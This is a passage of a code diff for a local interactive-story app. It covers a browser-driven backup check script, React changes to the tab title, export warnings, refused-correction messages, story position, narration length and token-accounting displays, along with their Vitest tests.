+    copy_started = time.perf_counter()
+    shutil.copy2(source, db)
+    copy_seconds = time.perf_counter() - copy_started
+    size = db.stat().st_size
+    print(f"  copied {size:,} bytes in {copy_seconds:.2f}s -> {db}", flush=True)
+
+    site = Site(BACKEND, db, work / "server.log")
+    browser = Browser(headless=not show, log=work / "geckodriver.log")
+    result: dict = {"database": str(source), "bytes": size,
+                    "served_at": site.url, "firefox": browser.version}
+    try:
+        if not open_backup_panel(browser, site, checks, case):
+            return result
+        result["first"] = click_back_up_now(browser, site, db, checks, case, "backup")
+        browser.screenshot(work / "back-up-now.png")
+
+        if twice and result["first"].get("file"):
+            kept = Path(result["first"]["file"])
+            before_bytes, before_digest = kept.stat().st_size, digest(kept)
+            result["second"] = click_back_up_now(browser, site, db, checks, case,
+                                                 "second backup")
+            still_there = kept.exists()
+            checks.record(case, "the earlier backup still exists", still_there)
+            if still_there:
+                checks.record(
+                    case, "and is byte-for-byte what it was",
+                    kept.stat().st_size == before_bytes and digest(kept) == before_digest,
+                    f"{before_bytes:,} bytes, sha256:{before_digest}")
+                verdict, _ = integrity_of(kept)
+                checks.record(case, "and still passes integrity_check", verdict == "ok",
+                              verdict)
+            if result["second"].get("file"):
+                checks.record(case, "the second backup is a different file",
+                              result["second"]["file"] != result["first"]["file"],
+                              Path(result["second"]["file"]).name)
+    finally:
+        browser.quit()
+        site.stop()
+    return result
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--out", required=True,
+                        help="evidence directory, which must be under $HOME")
+    parser.add_argument("--case", default="both", choices=["real", "large", "both"])
+    parser.add_argument("--show", action="store_true", help="run Firefox visibly")
+    parser.add_argument("--real-db", default=str(DEFAULT_REAL))
+    parser.add_argument("--large-db", default=str(DEFAULT_LARGE))
+    args = parser.parse_args()
+
+    out = require_under_home(Path(args.out).expanduser())
+    out.mkdir(parents=True, exist_ok=True)
+    if not (BACKEND.parent / "frontend/dist/index.html").exists():
+        print("frontend/dist is not built", file=sys.stderr)
+        return 2
+
+    checks = Checks()
+    started = datetime.now()
+    results: dict[str, dict] = {}
+    wanted = [("real", Path(args.real_db).expanduser(), True)] if args.case != "large" else []
+    if args.case != "real":
+        wanted.append(("large", Path(args.large_db).expanduser(), False))
+
+    print(f"WP-D criterion 3 — the backup through the UI. geckodriver "
+          f"{geckodriver_version()}", flush=True)
+    for case, source, twice in wanted:
+        if not source.exists():
+            checks.record(case, "the database is present", False, str(source))
+            continue
+        results[case] = run_case(case, source, out, checks, show=args.show, twice=twice)
+
+    report = {
+        "started": started.isoformat(timespec="seconds"),
+        "seconds": round((datetime.now() - started).total_seconds()),
+        "cases": results,
+        "checks": checks.rows,
+        "passed": len([r for r in checks.rows if r["result"] == "PASS"]),
+        "failed": len(checks.failed),
+    }
+    (out / "backup-ui-report.json").write_text(json.dumps(report, indent=2))
+    print(f"\n{report['passed']} passed, {report['failed']} failed "
+          f"-> {out / 'backup-ui-report.json'}")
+    return 1 if checks.failed else 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

frontend/index.html

@@ -15,7 +15,10 @@
          src/styles/fonts.css and served from /fonts/. They used to be linked
          from fonts.googleapis.com, which made every page load an Internet
          request; see frontend/tools/vendor_fonts.py. -->
-    <title>AI D&amp;D</title>
+    <!-- The name is set here for the first paint and kept in step with the
+         open campaign by src/documentTitle.js, which is where it is
+         defined. See that file for why it is not "Adventure Storyteller". -->
+    <title>Interactive Story</title>
   </head>
   <body>
     <div id="root"></div>

frontend/src/api.js

@@ -151,7 +151,32 @@ export const api = {
   sendAction: (advId, payload, handlers, signal) =>
     streamSSE(`/adventures/${advId}/actions`, payload, handlers, signal),
   retry: (advId, handlers, signal) => streamSSE(`/adventures/${advId}/retry`, {}, handlers, signal),
-  exportAdventure: (id) => request(`/adventures/${id}/export`),
+  // v1.1 WP-D: the bundle, plus what the server says about importing it back.
+  // The body is the bundle and nothing else — the browser saves exactly those
+  // bytes — so the size and the warning come back in headers.
+  exportAdventure: async (id) => {
+    const resp = await fetch(`/api/adventures/${id}/export`, {
+      headers: { 'Content-Type': 'application/json' },
+    })
+    if (!resp.ok) {
+      let detail = resp.statusText
+      try { detail = (await resp.json()).detail || detail } catch { /* non-JSON */ }
+      throw new Error(detail)
+    }
+    const bundle = await resp.json()
+    const number = (name) => {
+      const raw = Number(resp.headers.get(name))
+      return Number.isFinite(raw) && raw > 0 ? raw : null
+    }
+    return {
+      bundle,
+      exportBytes: number('X-Export-Bytes'),
+      importLimitBytes: number('X-Import-Limit-Bytes'),
+      // Absent header (an older server) means nothing is claimed either way.
+      importable: resp.headers.get('X-Importable-By-This-Version') !== 'false',
+      warning: resp.headers.get('X-Export-Warning') || null,
+    }
+  },
   importAdventure: (bundle) => request('/adventures/import', { method: 'POST', body: JSON.stringify(bundle) }),
 
   // M9. A verified copy of the whole database, which is a different tool from

frontend/src/documentTitle.js

@@ -0,0 +1,33 @@
+/* The browser tab, and the one place the product's name is written.
+ *
+ * M11, post-M8 finding A. The tab still read `AI D&D` — inherited from upstream
+ * and never claimed by M8, which changed the navigation, the inspector and the
+ * screens but not the shell metadata. It was an uncovered gap rather than a
+ * false claim, and it is the first thing a reader sees.
+ *
+ * The name is deliberately **not** "Adventure Storyteller", which is what the
+ * planning package calls the project. `SPECIFICATION.md` requires a
+ * genre-agnostic engine and the same schema holds a silver key in an abbey and
+ * a data crystal on an orbital station, so a name with *Adventure* in it is
+ * narrower than the thing it names. `Interactive Story` is the repository
+ * owner's decision, recorded here so a later change is one edit.
+ *
+ * The campaign comes first because that is what the reader is looking for in a
+ * row of tabs: `Westhaven — Interactive Story`, not the other way round.
+ */
+import { useEffect } from 'react'
+
+export const PRODUCT_NAME = 'Interactive Story'
+
+export function titleFor(campaign) {
+  const name = (campaign || '').trim()
+  return name ? `${name} — ${PRODUCT_NAME}` : PRODUCT_NAME
+}
+
+/** Sets the tab title while mounted, and puts it back on the way out. */
+export function useDocumentTitle(campaign) {
+  useEffect(() => {
+    document.title = titleFor(campaign)
+    return () => { document.title = PRODUCT_NAME }
+  }, [campaign])
+}

frontend/src/errors.js

@@ -45,6 +45,25 @@ export function classifyError(message) {
   const detail = String(message || '').trim() || 'No detail was reported.'
   const low = detail.toLowerCase()
 
+  // ---- A correction the story refused ----
+  //
+  // v1.1 WP-C, found in the browser. The State panel's refusals ("That
+  // correction can't be applied — no fact 'f1' to invalidate.") matched none of
+  // the rules below and fell through to "Generation failed", with a Retry button
+  // and a line about what you typed. No turn was attempted and nothing was
+  // typed: the reader corrected the story's state and the rules refused it. So
+  // it is said as that, and the reason stays under the technical details.
+  if (low.includes("correction can't be applied")) {
+    return {
+      kind: KIND.STATE,
+      title: 'That correction was not applied',
+      detail,
+      hint: 'Nothing in the story or its state was changed. The reason is in the technical details.',
+      retryable: false,
+      keptInput: false,
+    }
+  }
+
   // ---- Model / endpoint: the story cannot be told at all ----
 
   // "No model configured — set one in Settings."

frontend/src/m11.test.jsx

@@ -0,0 +1,134 @@
+/* M11: the three post-M8 playtest findings that changed the browser.
+ *
+ * They arrived from a real play session against accepted M8 rather than from a
+ * test, which is why each one is a case no existing test would have caught: a
+ * tab title nobody had claimed, a position the reader could not see, and a
+ * setting that moved no number. The tests are grouped here, by finding, so that
+ * a reviewer can read them against `BUILD-MILESTONES.md`'s write-up of each.
+ */
+
+import { screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { api } from './api'
+import { PRODUCT_NAME, titleFor } from './documentTitle'
+import { Composer } from './pages/Play/Composer'
+import { CampaignSettingsPanel } from './pages/Play/panels/CampaignSettingsPanel'
+import { composeInstructions } from './pages/NewCampaign'
+import { mockModelStatus, renderWith } from './test/helpers'
+
+describe('finding A — the product has a name of its own', () => {
+  it('is not the inherited one', () => {
+    expect(PRODUCT_NAME).not.toMatch(/D&D|DnD|Dungeons/i)
+  })
+
+  it('puts the campaign first, because that is what a row of tabs is scanned for', () => {
+    expect(titleFor('Westhaven')).toBe('Westhaven — Interactive Story')
+  })
+
+  it('falls back to the product name outside a campaign', () => {
+    expect(titleFor('')).toBe(PRODUCT_NAME)
+    expect(titleFor(undefined)).toBe(PRODUCT_NAME)
+    expect(titleFor('   ')).toBe(PRODUCT_NAME)
+  })
+})
+
+describe('finding B — the reader can tell where they are (§8A)', () => {
+  beforeEach(() => { vi.restoreAllMocks(); mockModelStatus(api) })
+
+  const props = {
+    input: '', setInput: vi.fn(), direction: false, setDirection: vi.fn(),
+    busy: false, canRetry: true, onSend: vi.fn(), onContinue: vi.fn(),
+    onRetry: vi.fn(), onUndo: vi.fn(), onRedo: vi.fn(), onSavePoint: vi.fn(),
+    onStop: vi.fn(),
+  }
+
+  it('names the position in the vocabulary the transcript already uses', async () => {
+    await renderWith(<Composer {...props} moment={12} canUndo canRedo={false} />)
+    expect(screen.getByTestId('story-position')).toHaveTextContent('Moment 12')
+  })
+
+  it('says when there is story ahead, which is the other half of being lost', async () => {
+    // The state right after an Undo: one moment further back, and the moment
+    // stepped over is still there to walk into.
+    await renderWith(<Composer {...props} moment={11} canUndo canRedo />)
+    const position = screen.getByTestId('story-position')
+    expect(position).toHaveTextContent('Moment 11')
+    expect(position).toHaveTextContent('later story ahead')
+  })
+
+  it('says nothing about story ahead when there is none', async () => {
+    await renderWith(<Composer {...props} moment={11} canUndo canRedo={false} />)
+    expect(screen.getByTestId('story-position')).not.toHaveTextContent('ahead')
+  })
+
+  it('uses no implementation vocabulary (§38)', async () => {
+    await renderWith(<Composer {...props} moment={11} canUndo canRedo />)
+    const text = screen.getByTestId('story-position').textContent.toLowerCase()
+    // Whole words. The first version of this test used substring matching and
+    // failed on "ahead", which contains "head" — the same class of harness
+    // defect M10 hit when a search for "media" matched "immediately".
+    for (const word of ['branch', 'fork', 'node', 'head', 'depth']) {
+      expect(text).not.toMatch(new RegExp(`\\b${word}\\b`))
+    }
+  })
+
+  it('shows nothing on a campaign that has no story yet', async () => {
+    await renderWith(<Composer {...props} moment={0} canUndo={false} canRedo={false} />)
+    expect(screen.queryByTestId('story-position')).toBeNull()
+  })
+})
+
+describe('finding C — narration length is a setting with an effect', () => {
+  beforeEach(() => { vi.restoreAllMocks() })
+
+  const campaign = {
+    id: 1, title: 'Continuity Test', ai_instructions: '', canon_rules: [],
+    persona_name: 'Aldric', persona_desc: '', narration_length: 'brief',
+  }
+
+  it('shows the campaign its own current choice', async () => {
+    await renderWith(
+      <CampaignSettingsPanel
+        adventure={campaign} setAdventure={vi.fn()} onError={vi.fn()} moments={3} />,
+    )
+    expect(screen.getByLabelText('Narration length')).toHaveValue('brief')
+  })
+
+  it('saves the choice as data, not only as a sentence', async () => {
+    // The finding: the setup screen turned the choice into one English sentence
+    // inside the instructions and changed no number, so the storyteller could
+    // not act on it. What is asserted here is that the field the prompt builder
+    // reads is the field this control writes.
+    const update = vi.spyOn(api, 'updateAdventure').mockResolvedValue({
+      ...campaign, narration_length: 'long',
+    })
+    await renderWith(
+      <CampaignSettingsPanel
+        adventure={campaign} setAdventure={vi.fn()} onError={vi.fn()} moments={3} />,
+    )
+    await userEvent.selectOptions(screen.getByLabelText('Narration length'), 'long')
+    await userEvent.click(screen.getByRole('button', { name: /save/i }))
+    expect(update).toHaveBeenCalledWith(1, expect.objectContaining({
+      narration_length: 'long',
+    }))
+  })
+
+  it('offers having no preference at all', async () => {
+    await renderWith(
+      <CampaignSettingsPanel
+        adventure={{ ...campaign, narration_length: '' }}
+        setAdventure={vi.fn()} onError={vi.fn()} moments={0} />,
+    )
+    expect(screen.getByLabelText('Narration length')).toHaveValue('')
+  })
+
+  it('still writes the sentence, so the reader can read and edit it', () => {
+    // Both halves are kept deliberately: the sentence is what a person editing
+    // the instructions sees, and the field is what the builder measures.
+    const written = composeInstructions({
+      genre: 'fantasy', tone: 'grim', pov: 'second-present', length: 'brief', style: '',
+    })
+    expect(written).toContain('brief')
+  })
+})

frontend/src/pages/Campaigns.jsx

@@ -66,10 +66,12 @@ export default function Campaigns() {
 
   const exportOne = async (campaign) => {
     try {
-      const bundle = await api.exportAdventure(campaign.id)
+      const { bundle, warning } = await api.exportAdventure(campaign.id)
       const safe = (campaign.title || 'campaign').replace(/[^\w-]+/g, '_').slice(0, 60)
       downloadJSON(bundle, `${safe}.json`)
-      toast('Campaign exported.')
+      // v1.1 WP-D: the file is written either way. A campaign too large for this
+      // version to import back says so now, not when it is needed.
+      toast(warning || 'Campaign exported.', warning ? 'error' : undefined)
     } catch (err) {
       toast(classifyError(err.message).detail, 'error')
     }

frontend/src/pages/NewCampaign.jsx

@@ -137,6 +137,10 @@ export default function NewCampaign() {
         persona_name: protagonist.trim(),
         persona_pronouns: pronouns.trim(),
         persona_desc: protagonistDesc.trim(),
+        // M11 (post-M8 finding C): sent as data as well as prose. The sentence
+        // below still goes into the instructions where the reader can edit it;
+        // this is what the prompt builder turns into an actual word range.
+        narration_length: length,
       })
       const instructions = composeInstructions({ genre, tone, pov, length, style })
       if (instructions) {

frontend/src/pages/Play/Composer.jsx

@@ -46,6 +46,7 @@ export function Composer({
   canUndo,
   canRedo,
   canRetry,
+  moment,
   onSend,
   onContinue,
   onRetry,
@@ -97,6 +98,24 @@ export function Composer({
         <button type="button" onClick={onSavePoint} disabled={busy}>
           Save Point
         </button>
+
+        {/* M11, post-M8 finding B / BROWSER-UX-SPEC §8A. Undo worked and the
+            reader still could not tell where they had landed: the transcript
+            simply got shorter, which is not something you notice happening to
+            a page you were already scrolled into.
+ 
+            So the position is stated, in the vocabulary the transcript already
+            uses for it ("Read the 12 earlier moments"), and it says whether
+            there is story ahead — which is the other half of being lost after
+            an Undo: not knowing whether what you stepped back over still
+            exists. No implementation words (§38): not head, not branch, not
+            depth. */}
+        {moment > 0 && (
+          <p className="story-position" data-testid="story-position" aria-live="polite">
+            <span className="moment">Moment {moment}</span>
+            {canRedo && <span className="ahead"> · later story ahead</span>}
+          </p>
+        )}
       </div>
 
       <div className={`input-bar ${direction ? 'directing' : ''}`}>

frontend/src/pages/Play/FailureNotice.jsx

@@ -55,9 +55,13 @@ export function FailureNotice({ failure, partial, onRetry, onDismiss }) {
 
       {failure.hint && <p className="failure-hint">{failure.hint}</p>}
 
-      <p className="failure-kept">
-        Your story is unchanged, and what you typed is still in the box below.
-      </p>
+      {/* Every failed turn keeps what was typed (A05). A refused correction
+          had nothing typed in the box, so it does not claim to (v1.1 WP-C). */}
+      {failure.keptInput !== false && (
+        <p className="failure-kept">
+          Your story is unchanged, and what you typed is still in the box below.
+        </p>
+      )}
 
       {partial ? (
         <details className="failure-partial">

frontend/src/pages/Play/failurePaths.test.jsx

@@ -29,8 +29,8 @@ beforeEach(() => { vi.restoreAllMocks() })
 
 describe('the failure notice states only what is true', () => {
   it('claims the typed words were kept — so the caller must actually keep them', async () => {
-    // This assertion is the contract the defect broke. The notice is
-    // unconditional, so every path that shows it owes the reader their text.
+    // This assertion is the contract the defect broke. Every failed turn shows
+    // it, so every path that shows it owes the reader their text.
     await renderWith(
       <FailureNotice failure={classifyError('Could not connect to http://127.0.0.1:9/v1')}
         partial={null} onRetry={vi.fn()} onDismiss={vi.fn()} />,
@@ -64,6 +64,39 @@ describe('the failure notice states only what is true', () => {
     expect(onRetry).toHaveBeenCalled()
   })
 
+  // v1.1 WP-C, found in the browser: a correction the story refused fell through
+  // to "Generation failed", offered to try the turn again, and claimed the
+  // typed words were kept — none of which a State-panel correction involves.
+  const REFUSAL = "That correction can't be applied — no fact 'f1' to invalidate."
+
+  it('classifies a refused correction as a state refusal, not a failed turn', () => {
+    const refusal = classifyError(REFUSAL)
+    expect(refusal.kind).toBe(KIND.STATE)
+    expect(refusal.title).toBe('That correction was not applied')
+    expect(refusal.retryable).toBe(false)
+    expect(refusal.keptInput).toBe(false)
+    expect(refusal.detail).toBe(REFUSAL)
+  })
+
+  it('shows a refused correction with its reason, and no turn to retry', async () => {
+    await renderWith(
+      <FailureNotice failure={classifyError(REFUSAL)} partial={null}
+        onRetry={vi.fn()} onDismiss={vi.fn()} />,
+    )
+    expect(screen.getByText('That correction was not applied')).toBeInTheDocument()
+    expect(screen.getByText(/no fact 'f1' to invalidate/)).toBeInTheDocument()
+    expect(screen.queryByRole('button', { name: 'Try that turn again' })).toBeNull()
+    expect(screen.queryByText(/what you typed is still in the box/)).toBeNull()
+  })
+
+  it('still claims the typed words were kept for a failed turn', async () => {
+    await renderWith(
+      <FailureNotice failure={classifyError('boom')} partial={null}
+        onRetry={vi.fn()} onDismiss={vi.fn()} />,
+    )
+    expect(screen.getByText(/what you typed is still in the box/)).toBeInTheDocument()
+  })
+
   it('labels partial prose as not kept rather than showing it as story', async () => {
     await renderWith(
       <FailureNotice failure={classifyError('boom')} partial="The tavern door swung"

frontend/src/pages/Play/index.jsx

@@ -30,6 +30,7 @@ import { useNavigate, useParams } from 'react-router-dom'
 import { api } from '../../api'
 import { AutoTextarea, useToast } from '../../components'
 import { ConfirmDialog } from '../../Dialog'
+import { useDocumentTitle } from '../../documentTitle'
 import { classifyError } from '../../errors'
 import { ExternalLinkDialog } from '../../ExternalLinkDialog'
 import { ModelSetupNotice } from '../../ModelSetupNotice'
@@ -49,6 +50,8 @@ export default function Play() {
   const { status: modelStatus, refresh: refreshModelStatus } = useModelStatus()
 
   const [adventure, setAdventure] = useState(null)
+  // M11 (post-M8 finding A): the tab says which campaign is open.
+  useDocumentTitle(adventure?.title)
   const [actions, setActions] = useState([])
   const [input, setInput] = useState('')
   const [direction, setDirection] = useState(false)
@@ -609,6 +612,7 @@ export default function Play() {
             busy={busy}
             canUndo={history.undo}
             canRedo={history.redo}
+            moment={total}
             canRetry={lastIsAi}
             onSend={send}
             onContinue={() => send('continue')}

frontend/src/pages/Play/panels/CampaignSettingsPanel.jsx

@@ -28,6 +28,7 @@ export function CampaignSettingsPanel({ adventure, setAdventure, onError, moment
   const toast = useToast()
   const [title, setTitle] = useState(adventure.title || '')
   const [instructions, setInstructions] = useState(adventure.ai_instructions || '')
+  const [narrationLength, setNarrationLength] = useState(adventure.narration_length || '')
   const [canon, setCanon] = useState((adventure.canon_rules || []).join('\n'))
   const [persona, setPersona] = useState(adventure.persona_name || '')
   const [personaDesc, setPersonaDesc] = useState(adventure.persona_desc || '')
@@ -39,6 +40,7 @@ export function CampaignSettingsPanel({ adventure, setAdventure, onError, moment
   useEffect(() => {
     setTitle(adventure.title || '')
     setInstructions(adventure.ai_instructions || '')
+    setNarrationLength(adventure.narration_length || '')
     setCanon((adventure.canon_rules || []).join('\n'))
     setPersona(adventure.persona_name || '')
     setPersonaDesc(adventure.persona_desc || '')
@@ -60,6 +62,7 @@ export function CampaignSettingsPanel({ adventure, setAdventure, onError, moment
       const updated = await api.updateAdventure(adventure.id, {
         title: title.trim() || 'Untitled campaign',
         ai_instructions: instructions,
+        narration_length: narrationLength,
         canon_rules: canon.split('\n').map((r) => r.trim()).filter(Boolean),
         persona_name: persona.trim(),
         persona_desc: personaDesc,
@@ -76,10 +79,12 @@ export function CampaignSettingsPanel({ adventure, setAdventure, onError, moment
 
   const exportCampaign = async () => {
     try {
-      const bundle = await api.exportAdventure(adventure.id)
+      const { bundle, warning } = await api.exportAdventure(adventure.id)
       const safe = (adventure.title || 'campaign').replace(/[^\w-]+/g, '_').slice(0, 60)
       downloadJSON(bundle, `${safe}.json`)
-      toast('Campaign exported.')
+      // v1.1 WP-D: see Campaigns.jsx. The export is delivered; the warning says
+      // this version could not import the file back.
+      toast(warning || 'Campaign exported.', warning ? 'error' : undefined)
     } catch (err) {
       onError(classifyError(err.message).detail)
     }
@@ -108,7 +113,29 @@ export function CampaignSettingsPanel({ adventure, setAdventure, onError, moment
           value={instructions} onChange={edit(setInstructions)}
         />
         <p className="field-hint">
-          Genre, tone, voice, length — anything you want true of every turn.
+          Genre, tone, voice — anything you want true of every turn.
+        </p>
+      </div>
+
+      {/* M11, post-M8 finding C. Length was a sentence in the box above and
+          nothing else, so it read as a preference the storyteller could not
+          act on. It is its own control now because the prompt builder turns it
+          into an actual word range (`context.builder.LENGTH_BANDS`). */}
+      <div className="field">
+        <label htmlFor="cs-length">Narration length</label>
+        <select
+          id="cs-length"
+          value={narrationLength}
+          onChange={edit(setNarrationLength)}
+        >
+          <option value="">No preference</option>
+          <option value="brief">Brief — a moment, not a scene</option>
+          <option value="medium">Medium — a scene</option>
+          <option value="long">Long — a scene with room to breathe</option>
+        </select>
+        <p className="field-hint">
+          Roughly 70–180, 150–380 or 320–700 words. A shorter reply limit in
+          Settings still wins, since that is what the model is given room for.
         </p>
       </div>
 

frontend/src/pages/Play/panels/ContextPanel.jsx

@@ -47,6 +47,63 @@ function Section({ title, count, children, open = false, testId }) {
   )
 }
 
+/* v1.1 WP-A1: what the server said it read, set against what was sent.
+ *
+ * Only a turn that was actually sent has this — the next-turn view has not
+ * been sent yet. The two conditions that mean something went wrong are shown
+ * as alerts, because the failure they describe is otherwise silent: Ollama
+ * answers 200 whether or not it cut the front of the prompt off. */
+const ACCOUNTING = {
+  fits: {
+    title: 'The server read the whole prompt',
+    body: 'Its count stayed inside the room kept for the reply and the safety margin.',
+  },
+  exceeded: {
+    title: 'The prompt was larger than the server allowed for',
+    body: 'The server counted more tokens than the safety margin covers, so the '
+      + 'reply may have been cut short. The turn is kept.',
+    alert: true,
+  },
+  truncation_suspected: {
+    title: 'The server may have cut the start of the prompt',
+    body: 'It read far fewer tokens than were sent, which is what happens when a '
+      + 'prompt is larger than the window the model was loaded with. The '
+      + 'narrator’s rules and the campaign canon are at the start. The turn is kept.',
+    alert: true,
+  },
+  unknown: {
+    title: 'The server did not say how much it read',
+    body: 'Nothing here can confirm whether the whole prompt was used.',
+  },
+}
+
+function AccountingReport({ accounting }) {
+  if (!accounting) return null
+  const copy = ACCOUNTING[accounting.status] || ACCOUNTING.unknown
+  return (
+    <div
+      className={copy.alert ? 'notice error' : 'ctx-accounting'}
+      role={copy.alert ? 'alert' : undefined}
+      data-testid="ctx-accounting"
+      data-status={accounting.status}
+    >
+      <strong>{copy.title}</strong>
+      <p>{copy.body}</p>
+      {accounting.server_prompt_tokens != null && (
+        <p className="notice-detail">
+          Sent {accounting.estimate?.toLocaleString()} by this app’s count; the
+          server read {accounting.server_prompt_tokens.toLocaleString()}.
+          {accounting.observed_margin != null
+            && ` ${accounting.observed_margin.toLocaleString()} tokens were left beside the reply.`}
+        </p>
+      )}
+      {accounting.window_verified === false && (
+        <p className="notice-detail">The model’s window was not verified for this turn.</p>
+      )}
+    </div>
+  )
+}
+
 function TokenBar({ sections, total }) {
   if (!sections.length || total <= 0) return null
   return (
@@ -122,6 +179,12 @@ export function ContextPanel({
             <span>{tokens.output_reserve.toLocaleString()}</span>
           </div>
         )}
+        {tokens.safety_reserve > 0 && (
+          <div className="ctx-token-line dim">
+            <span>Kept free as a safety margin</span>
+            <span>{tokens.safety_reserve.toLocaleString()}</span>
+          </div>
+        )}
         <div className="ctx-token-line dim">
           <span>What the model can hold</span>
           <span>{tokens.budget.toLocaleString()}</span>
@@ -135,6 +198,8 @@ export function ContextPanel({
         )}
       </div>
 
+      <AccountingReport accounting={report.accounting} />
+
       {failing.length > 0 && (
         <div className="notice error" role="alert" data-testid="ctx-derived-failing">
           <strong>Background work is failing</strong>

frontend/src/pages/Play/panels/StatePanel.jsx

@@ -37,6 +37,9 @@ function StatePanel({ advId, refreshKey, onCorrected, onError }) {
     return () => { cancelled = true }
   }, [advId, refreshKey, tick])
 
+  // M11: refusals from the most recent correction (see `saveCorrection`).
+  const [refused, setRefused] = useState([])
+
   async function showHistory() {
     if (history) { setHistory(null); return }
     try {
@@ -61,7 +64,11 @@ function StatePanel({ advId, refreshKey, onCorrected, onError }) {
         predicate: text,
         ...(correcting.key ? { subject: correcting.key } : {}),
       }]
-      await api.correctNarrativeState(advId, events, text)
+      const answer = await api.correctNarrativeState(advId, events, text)
+      // M11: a correction can be partly refused, and until M11 that came back
+      // looking like success. The reader is told which change did not land and
+      // why, rather than discovering later that the state never changed.
+      setRefused(answer?.refused || [])
       setCorrecting(null)
       setTick((t) => t + 1)
       // The corrected state is what the next turn is built from, so anything
@@ -76,8 +83,9 @@ function StatePanel({ advId, refreshKey, onCorrected, onError }) {
 
   async function withdraw(factId) {
     try {
-      await api.correctNarrativeState(
+      const answer = await api.correctNarrativeState(
         advId, [{ type: 'invalidate_fact', fact_id: factId }])
+      setRefused(answer?.refused || [])
       setTick((t) => t + 1)
       onCorrected()
     } catch (err) {
@@ -90,6 +98,23 @@ function StatePanel({ advId, refreshKey, onCorrected, onError }) {
 
   return (
     <div className="state-panel">
+      {refused.length > 0 && (
+        <p className="state-refused" role="status" data-testid="correction-refused">
+          {refused.length === 1 ? 'One change was not applied' :
+            `${refused.length} changes were not applied`}
+          {': '}
+          {refused.map((r) => r.detail || r.reason).join('; ')}
+        </p>
+      )}
+      {state.duplicate_names && Object.keys(state.duplicate_names).length > 0 && (
+        <p className="state-note" data-testid="duplicate-names">
+          Two or more characters share a name
+          {': '}
+          {Object.entries(state.duplicate_names)
+            .map(([name, keys]) => `${name} (${keys.length})`).join(', ')}
+          . That is allowed — the storyteller may find it harder to tell them apart.
+        </p>
+      )}
       {state.empty && (
         <p className="state-intro">
           Nothing established yet. As the story names people, places and things,

frontend/src/pages/Play/panels/panels.test.jsx

@@ -220,6 +220,50 @@ describe('context inspector (§23, §55)', () => {
     expect(tokens).toHaveTextContent('8,000')
   })
 
+  it('shows the safety margin kept free beside the reply (v1.1 A1)', async () => {
+    api.getAdventureContext.mockResolvedValue({
+      ...REPORT, tokens: { ...REPORT.tokens, safety_reserve: 410 },
+    })
+    await renderWith(<ContextPanel advId="1" refreshKey="x" />)
+    expect(screen.getByTestId('ctx-tokens')).toHaveTextContent(/safety margin\s*410/)
+  })
+
+  it('says nothing about accounting for a turn that has not been sent', async () => {
+    await renderWith(<ContextPanel advId="1" refreshKey="x" />)
+    expect(screen.queryByTestId('ctx-accounting')).toBeNull()
+  })
+
+  it('alerts when the server may have cut the start of a sent prompt (v1.1 A1)', async () => {
+    vi.spyOn(api, 'getActionContext').mockResolvedValue({
+      ...REPORT,
+      accounting: {
+        status: 'truncation_suspected', estimate: 6316, server_prompt_tokens: 2050,
+        observed_margin: 1546, window_verified: true,
+      },
+    })
+    await renderWith(
+      <ContextPanel advId="1" inspectActionId="9" refreshKey="x" onClearInspect={() => {}} />)
+    const el = screen.getByTestId('ctx-accounting')
+    expect(el).toHaveAttribute('data-status', 'truncation_suspected')
+    expect(el).toHaveAttribute('role', 'alert')
+    expect(el).toHaveTextContent('6,316')
+    expect(el).toHaveTextContent('2,050')
+    expect(el).toHaveTextContent(/turn is kept/)
+  })
+
+  it('reports an unknown count plainly, without claiming the prompt fit', async () => {
+    vi.spyOn(api, 'getActionContext').mockResolvedValue({
+      ...REPORT, accounting: { status: 'unknown', server_prompt_tokens: null },
+    })
+    await renderWith(
+      <ContextPanel advId="1" inspectActionId="9" refreshKey="x" onClearInspect={() => {}} />)
+    const el = screen.getByTestId('ctx-accounting')
+    expect(el).toHaveAttribute('data-status', 'unknown')
+    expect(el).not.toHaveAttribute('role')
+    expect(el).toHaveTextContent(/did not say/)
+    expect(el.textContent).not.toMatch(/read the whole prompt/)
+  })
+
   it('shows a retrieved passage with its source, class, heading and score', async () => {
     await renderWith(<ContextPanel advId="1" refreshKey="x" />)
     const row = document.querySelector('[data-chunk-id="11"]')

frontend/src/pages/Settings.jsx

@@ -331,6 +331,26 @@ export default function Settings() {
             />
             <p className="field-hint">In tokens. Must fit your model’s window.</p>
           </div>
+          <div className="field">
+            <label htmlFor="ctx-window">The window your server enforces</label>
+            <input
+              id="ctx-window" type="number" min="256" max="200000"
+              placeholder="ask the server"
+              value={settings.context_window_override ?? ''}
+              onChange={(e) =>
+                setField(
+                  'context_window_override',
+                  e.target.value === '' ? null : Number(e.target.value),
+                )}
+            />
+            <p className="field-hint">
+              Leave this empty and the window is read from the server. Ollama can
+              be asked; others — vLLM, llama.cpp’s own server — cannot, and then
+              nothing caps the budget above. Set it here and prompts are capped to
+              it. A window the server does report always wins over this, and a
+              number you type is never treated as verified.
+            </p>
+          </div>
         </div>
 
         <div className="field">
@@ -364,6 +384,22 @@ export default function Settings() {
                 : testResult.detail}
           </p>
         )}
+
+        {/* M11: the context window the server will actually give this model.
+            Its own line rather than folded into the message above, because a
+            missing model and a too-small window are different problems with
+            different fixes, and a reader can have both at once. */}
+        {testResult?.window?.warning && (
+          <p className="test-result warn" role="status" data-testid="window-warning">
+            {testResult.window.warning}
+          </p>
+        )}
+        {testResult?.window?.verified && !testResult.window.warning && (
+          <p className="test-result ok" data-testid="window-ok">
+            Context window checked: {testResult.window.tokens.toLocaleString()} tokens,
+            which covers the {testResult.window.budget.toLocaleString()}-token story budget.
+          </p>
+        )}
       </section>
 
       <section className="settings-section">

frontend/src/pages/exportHonesty.test.jsx

@@ -0,0 +1,167 @@
+/* v1.1 WP-D: an export that says whether this version could import it back.
+ *
+ * The file is delivered either way — a campaign too large to re-import is not a
+ * damaged one, and refusing to write it would destroy the copy the reader was
+ * making. What changes is what they are told, and both reader-facing Export
+ * controls have to tell them: the one on the campaign card and the one in the
+ * campaign's own settings.
+ *
+ * The server decides. These assert that the page shows what it was given and
+ * keeps delivering the file, not that it re-derives the size policy.
+ */
+
+import { screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { api } from '../api'
+import * as components from '../components'
+import Campaigns from './Campaigns'
+import { CampaignSettingsPanel } from './Play/panels/CampaignSettingsPanel'
+import { mockModelStatus, renderWith } from '../test/helpers'
+
